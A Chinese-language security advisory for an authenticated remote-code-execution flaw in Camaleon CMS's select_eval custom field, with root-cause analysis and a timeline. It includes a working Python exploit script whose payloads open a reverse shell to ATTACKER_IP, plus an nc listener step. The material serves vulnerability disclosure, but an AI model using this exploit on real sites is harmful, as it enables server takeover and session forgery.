返回更新列表
已更新Aug 5, 2026

CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field — 已更新!

安全公告:Camaleon CMS - 通过 `select_eval` 自定义字段实现认证后远程代码执行

分享

安全公告:Camaleon CMS - 通过 select_eval 自定义字段实现认证后 RCE

分配的 CVE ID: CVE-2026-66748

产品: Camaleon CMS (https://github.com/owen2345/camaleon-cms) 受影响版本: 2.1.1 – 2.9.1(引入于提交 415cbda6 2015-10-16;修复于提交 15882366 2026-03-29 / v2.9.2) 严重性:CVSS 4.0 评分: 8.7 CVSS 4.0 向量: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L CWE: CWE-94(代码注入) 研究员: Theodosis Paidakis 已通知厂商: 2026-06-21 相关公告: GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9(label_eval - 并行字段类型,相同根本原因,未分配 CVE)

摘要

select_eval 自定义字段类型将任意 Ruby 表达式存储在 field.options[:command] 中,并在每次渲染文章编辑页面时通过 ERB 视图中的 instance_eval 执行它。在 v2.9.2 之前,任何拥有 custom_fields 管理权限的用户——通常授予编辑角色账户——都可以创建此字段类型并实现服务器端 RCE。select_eval 字段会在使用该字段组的任何文章的每次页面渲染时触发;其输出成为下拉选项列表。该漏洞已在 v2.9.2 中修复。

受影响组件

文件: app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb

<%= select_tag "#{field_name}[#{field.slug}][values][]",
      instance_eval(field.options[:command].to_s.strip),
      class: "..." %>

instance_eval 使用来自数据库记录的原始字符串进行调用。没有沙箱,也没有对 ERB 绑定(这是一个完整的 Rails 视图上下文)中可访问的方法或常量进行编译时限制。

文件: app/models/camaleon_cms/ability.rb(v2.9.1,第 161-165 行)

custom_fields 从未被显式授予。文件上方有八个资源分别获得 can :managemediacommentsthemeswidgetsnav_menupluginsuserssettings),而 custom_fields 不在其中。它只能通过这个兜底逻辑访问,该逻辑将 manage 授予角色 @roles_manager 哈希中存在的任何键,而不检查该键是否安全可授予:

@roles_manager.try(:each) do |rol_manage_key, val_role|
  can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
  false
end

因此,任何角色设置了 custom_fields 位的用户都可以访问自定义字段控制器。在受影响范围内,该位通常授予编辑级角色。

v2.9.2 的重写将 can 替换为 safe_can 包装器,并添加了一个显式的 %i[...] 列表,其中包含 custom_fieldsselect_eval,但上述兜底循环在该版本中仍然存在。修复此问题的不是权限列表;而是 custom_fields_controller.rb 中的强参数允许列表和 custom_field_group.rb 中的 can?(:manage, :select_eval) 门控。

根本原因分析

select_eval 字段类型旨在让开发者从存储在 CMS 数据库中的 Ruby 代码动态填充选择下拉框。通过 instance_eval 从数据库列执行任意 Ruby 等同于向任何能写入该值的人授予 shell 访问权限。权限要求是 custom_fields——一种常规的内容管理权限——而不是显式的特权位。

与先前公告的关系

此发现已发布为 GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9,涵盖 Camaleon CMS 中并行的 label_eval 字段类型。该公告是五个发现(GHSL-2024-182 至 GHSL-2024-186)批次的一部分;五个中只有两个获得了 CVE 编号(CVE-2024-46986 和 CVE-2024-46987)。GHSL-2024-185 本身没有分配 CVE。

select_evallabel_eval 具有相同的根本原因——存储在数据库中的任意 Ruby 通过 ERB 视图中的 instance_eval 执行——但在其他所有维度上都不同:

label_eval (GHSL-2024-185)select_eval(本报告)
执行位置任何表单中的字段标签文章编辑页面中的 select_tag
写入路径自定义字段标签文本field.options[:command] 元数据行

本报告仅涵盖 select_eval。没有现有的 CVE 或公开公告记录此特定字段类型及其利用路径。

复现步骤

受影响范围 v2.1.1 至 v2.9.1 是通过源代码分析确定的;利用已在 v2.9.1 上端到端确认。仅需一个拥有 custom_fields 权限的账户——无需服务器访问。

先决条件: 任何设置了 custom_fields 管理位的账户——受影响范围内的标准编辑角色权限。

步骤 1. 启动监听器:

nc -lnvp 4444

步骤 2. 运行脚本。编辑 BASEATTACKER_IPTYPE_IDPOST_ID 和凭据。

TYPE_ID - 管理侧边栏 URL 中可见的文章类型 ID(例如 /admin/post_type/2/posts)。 POST_ID - 该类型下的任何文章 ID,来自文章列表编辑链接。

import requests, re, time

BASE        = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT        = 4444
TYPE_ID     = 2    # post type ID - from admin sidebar URL
POST_ID     = 1    # any post under that type - from post list edit links
USERNAME    = "editor"       # any account with custom_fields manage permission
PASSWORD    = "Editor1234!"

# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}' 
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'

s = requests.Session()

r    = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
    "authenticity_token": csrf,
    "user[username]": USERNAME,
    "user[password]": PASSWORD,
})
r    = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)

idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
    "authenticity_token":               csrf,
    "custom_field_group[name]":         f"exploit_{idx}",
    "custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}",  # must be PostType_Post, not PostType
    f"fields[{idx}][name]":             "Shell",
    f"fields[{idx}][slug]":             f"rce_{idx}",
    f"field_options[{idx}][field_key]": "select_eval",
    f"field_options[{idx}][command]":   PAYLOAD,   # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)

gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")

# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
image

影响

任何拥有 custom_fields 权限的账户(v2.9.2 之前)可获得:

  • 任意 Ruby 执行,在 Rails 进程中,具有 Web 服务器用户(deploywww-datarails 等)的权限
  • 持久执行:有效载荷在使用该字段组的每篇文章的每次页面渲染时触发——不是一次性利用
  • 会话伪造:从 config/secrets.yml 读取 secret_key_base 允许为任何用户(包括管理员)伪造任意会话 cookie
  • 多站点影响:在共享的 Camaleon 实例上,Rails 进程可以访问所有站点的数据

在 v2.9.2 之前,custom_fields 权限通常授予编辑角色用户。攻击者只要攻陷任何编辑级账户即可实现完整的服务器端 RCE。

时间线

2026-06-19 - 在 v2.9.2 和 v2.9.1 的源代码分析期间发现 2026-06-21 - 已通知厂商 2026-03-29 - 补丁已发布(v2.9.2,提交 15882366)

分类